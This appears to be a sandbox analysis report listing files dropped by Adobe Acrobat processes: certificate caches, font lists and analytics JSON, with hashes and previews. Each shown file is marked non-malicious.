Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl3S1elltfllXlE/HT8ktA/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKdo/eT8kAdNMa8RdWBwRd
MD5:	F8CB5250FFB99BC083F4953C2BE5D3AC
SHA1:	5BBE09FE1469A9AD28A15954CEC7D6A6A8557F90
SHA-256:	040A7A37865868083D12DF874F67DF36B9141AF9F6EE85F1E6FD82962359D033
SHA-512:	E01BED1D7698E8144A70F67CFAA478D778EE38D236E5A8580204BA9EB580F8BC14F39E3E42170B51920CCAA9B72CD36C56F9265797BB01ED313914DE12E2031C
Malicious:	false
Preview:	p...... .........7...c..(....................................................... ..........W....H...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2258878643609945
Encrypted:	false
SSDEEP:	6:kKVL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9iDImsLNkPlE99SNxAhUe/3
MD5:	64688D2219E6F0062B1601902D051D82
SHA1:	9FE150B7385BD2A9385F1F073B2CC405B5AEAB5C
SHA-256:	C3CBB88D18CD3C2068DB26B4D7F91E27CE4D1E44E5926858B0B7BAA28A98CBAD
SHA-512:	9E177E36F7CB765AB2D28E17C000545DF89AB6109FC39E42D01339FD06947CC957C316E59DC8F8AD5596AEDA6E8636F246332EE83659251ADCA4A166B2EB5C32
Malicious:	false
Preview:	p...... ........u.)&.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1512

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1512

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331802574278058
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJM3g98kUwPeUkwRe9:YvXKXFHHtc5CwGMbLUkee9
MD5:	6BED0A2E7ED88513C9BCA4C5B752C522
SHA1:	89825B2A234F0620B494E61D9CF2C1C1230726E4
SHA-256:	87B7B542058A41A080F7F06801C0E08C2DFBF1C2339FB4BFA67FC66E48617153
SHA-512:	BC2A4091011321D9BE3525606FDADE1268347CC2F793317DBBA344D530B2BE63E8AF675535E64513D61D45DF7B51DAB8BC191BD0FE2E6B5539D0F8012DBE35A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281581764254238
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfBoTfXpnrPeUkwRe9:YvXKXFHHtc5CwGWTfXcUkee9
MD5:	AEC665A76D6E408B2FBF413919DFE337
SHA1:	61C485922B4312B4CA7E6622DD0B2342F533D68F
SHA-256:	1C3FEBAE66ED030CDE4133FF9B8DD9531EA20D734042D2C9D43EB51434031789
SHA-512:	9CA6E957D00ECE062C5A577D608D1A9B095DF813EBC5D429B183630B7BEF1EA2BC65195DFBDF5479D30D0330034FFFDE89206DD45D8DBC40443867EC9BFDDD5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.261140448150857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfBD2G6UpnrPeUkwRe9:YvXKXFHHtc5CwGR22cUkee9
MD5:	5C4D3379A68E254D3BA0C53E9F667CD5
SHA1:	64A7AE4E2C647327E05F29E83CBD9FE6F298DC64
SHA-256:	2FCA6661A88535D9132138B2E7ED8B485F4556143973AC4BACB487F4ADDD73FF
SHA-512:	30EC23D2E9A9E2ACCA381C25AAF55BC8B5118B43E421E9D9BD14FC8A86259AC713165F6B5D70B5CC49E883ADEE32B29CAB29A3819D484872DEE2E8AEB69134DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.31071775302834
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfPmwrPeUkwRe9:YvXKXFHHtc5CwGH56Ukee9
MD5:	309C8508F2317F76246DC8A97EB36A7D
SHA1:	05D17677FA99FA6C6B5FA8F030626A2D1BCF91C0
SHA-256:	2624180D9B7D80BD69085B83F40259235EC3FB24C85EE161E716DC0FAB39E179
SHA-512:	591F9793D179A8F18B5EE796882A5B6C0FB4F8CBA8BFE208B83960C0A985F243891B72A1ED5EC8B5ABE1420014FC7FAED57874ACC54747CA4694092B4477D04C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681979040355393
Encrypted:	false
SSDEEP:	24:Yv6XVS5CtpLgE9cQx8LennAvzBvkn0RCmK8czOCCSGg:YvisCthgy6SAFv5Ah8cv/Gg
MD5:	CF28E186647576873187B599439625B7
SHA1:	63D377F3E34D0086492CA512B51EEE23DF1C5148
SHA-256:	D86F09D15766137A219DCE2A97EE91DE6C391DDFFB50905323683768181CDB4C
SHA-512:	7E5B30E864559ED00E01B87A134B5C48E68A72156A6076C3996F4175AFCA10655C004D3B5233826B6D3A1D9EECB6C5D160E89DAA4C7006372C121FDB8EE389A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2573655806227055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJf8dPeUkwRe9:YvXKXFHHtc5CwGU8Ukee9
MD5:	CBEF3FB88205B82552869FFAAE2F9DAF
SHA1:	A29D8179AEB52727FC52B2B2357A66D42CCB1168
SHA-256:	51A1A4B073D7955683E1F3AB05F1E21694C3567EF51C2256FE802C6C39840877
SHA-512:	79A7936592508400B6C34554B8597ECC0D78086B61BDD09C12C8CA673CAFBC092FFB8073708DDB9FAF863F901F1CAD5D29F97CA27C70E55E81CF7CF5F4C4F327
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.259129572545628
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfQ1rPeUkwRe9:YvXKXFHHtc5CwGY16Ukee9
MD5:	96E9DC59F41E82E70E5DB624430AA979
SHA1:	3A755995CCAA6FDD101EA1ADC791ED346099CB37
SHA-256:	A7B103A521AB1B16DCE584FC2AD7FDEC5511117E35548EB1A8ABBEB1DB6D236B
SHA-512:	9B51B2ECB2DB907DA361D31F9CA8B44239D819911F8D35450EB0FAC1D314AB74BC33A41E083C2883184D791322C4FBE4F0FA22DF053AEBE6923E72F598A78D4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267850119317818
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfFldPeUkwRe9:YvXKXFHHtc5CwGz8Ukee9
MD5:	CE7EE2981A1539B82B575AB87F2262CF
SHA1:	E2DCEC372B4D7B9D08109518B3538D93500CFEBD
SHA-256:	0F03DF96AF1D51EBCE9B6CCE5AFDDF4618E3BA06CCF5FD406FA319DF4FBD4B3A
SHA-512:	19973A42F5F700366B7B30422D6BAF94AE02125DA24EC69DDEB3B241F39EE53198AED0E8D61D74640410EF75B5FA66C871CB1993315D36BB88838B3CFC3D328F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.284190187943091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfzdPeUkwRe9:YvXKXFHHtc5CwGb8Ukee9
MD5:	482EB279BE137453F321F8E187F16043
SHA1:	2D0D019366DCB1B5A8B28D1BBBDA1D40365ECC54
SHA-256:	5B72EBA030C0255791565D7768419B91B5B4FF0FB17D6B32850098A107D8A772
SHA-512:	67A5021B8955C9A6903032A1C58FA0A41A3547B795B4B2415F710EA2520C64ACBF2D5ABF3274C2C62740B63CF36B8D8D53770CE212F9B912505318031A640983
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263809868359327
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfYdPeUkwRe9:YvXKXFHHtc5CwGg8Ukee9
MD5:	CF8ECEE90151EA64FFD02297FE1C93DC
SHA1:	E5E30252068DF4E622BDA7C7F9B15C74679C007D
SHA-256:	5DFB596AC1D7AB55B135D172902AB9F266509C044D80D992CD685EE9DB393B93
SHA-512:	35C719F27E093F003022715122682BC0D043EF2CF44DA0D1106187721DDAD9C91AF959EEE310F48D980D72F75EF0D52EBFA18580A63BFDC02C88AD4FE52866BE
Malicious:	false
